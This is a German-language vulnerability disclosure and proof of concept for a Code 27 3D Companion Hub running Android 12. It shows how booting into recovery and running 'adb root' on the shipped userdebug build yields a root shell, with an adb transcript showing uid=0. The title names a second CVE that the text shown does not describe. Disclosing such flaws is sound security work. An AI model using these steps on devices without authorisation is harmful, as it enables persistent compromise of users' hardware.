Proof of Concept für CVE-2026-36027 und CVE-2026-36028
Der Code 27 3D Companion Hub ist ein physisches Desktop-Gerät, das eine benutzerdefinierte KI-Figur (einen "Codie") als animierten 3D-Begleiter darstellt. Benutzer können beliebige 3D-Modelle hochladen oder erstellen, und multimodale KI ermöglicht es der Figur, ihre Umgebung zu sehen, Tonfall und Körpersprache zu lesen und offene Gespräche zu führen.
Diese Beschreibung behandelt zwei Schwachstellen, die physischen Zugriff auf das Gerät erfordern. Beide wurden gegen den unten aufgeführten Build validiert und sind zum Zeitpunkt der Veröffentlichung nicht gepatcht.
| Feld | Wert |
|---|---|
| Produkt | Code 27 3D Companion Hub |
| Companion Hub UI-Version | 1.2.0 |
| SoC / Board | Rockchip RK3588S (rk3588s_yt921) |
| Betriebssystem | Android 12 |
| Build-ID | SQ3A.220705.003.A1 |
| Vollständiger Fingerabdruck | rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys |
| Build-Typ | userdebug / release-keys |
Die ausgelieferte Firmware ist ein userdebug-Build (sichtbar im Recovery-Banner und in ro.build.display.id). Userdebug-Builds erlauben es, adbd per adb root als root neu zu starten, was eine wesentliche Voraussetzung für die Existenz von CVE-2026-36027 ist.
Ein physisch naher Angreifer kann den Companion Hub in das Android Recovery booten und eine privilegierte ADB-Shell (Root) erlangen (uid=0, SELinux-Kontext u:r:su:s0). Da das Gerät mit einem userdebug-Build ausgeliefert wird, kann adbd per adb root als root neu gestartet werden, was dem Angreifer Lese-/Schreibzugriff auf die Recovery-Umgebung, die Möglichkeit zur Auflistung von Build- und Hardware-Eigenschaften sowie Zugriff auf Recovery-Funktionen (Sideload, Fastboot, Partitionsoperationen) verschafft.
Der erlangte Zugriff erfolgt im Recovery-Ramdisk, nicht in der laufenden Android-Laufzeitumgebung. Beim Testen schlug die Aktion Mount /system im Recovery fehl (libfs_mgr konnte /dev/block/by-name/system nicht öffnen), sodass die Systempartition auf diesem Weg nicht direkt gemountet wurde. Die gebootete Benutzerumgebung mit dem Kiosk und entschlüsselten Benutzerdaten wird in diesem Modus nicht dargestellt.
Dies ist dennoch relevant, da der Root-Zugriff auf die Recovery-Umgebung die Grundlage für die Änderung des persistenten Gerätezustands (z. B. Schreiben auf Partitionen oder Anwenden eines manipulierten Update-Pakets) darstellt, sodass vom Angreifer kontrollierter Code bei einem späteren normalen Neustart ausgeführt werden könnte – was eine dauerhafte Präsenz auf dem aktiven Gerät etabliert.
Mount /system, heben Sie es hervor und bestätigen Sie. Es wird scheinbar fehlschlagen. Das ist erwartet, und der Exploit funktioniert trotzdem. (Das Recovery-Protokoll zeigt, dass libfs_mgr das Öffnen von /dev/block/by-name/system nicht schafft.)PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
Liste der angeschlossenen Geräte
YGKJ2601921S00193 recovery
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
adbd wird als root neu gestartet
Zeitüberschreitung beim Warten auf das Gerät abgelaufen
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12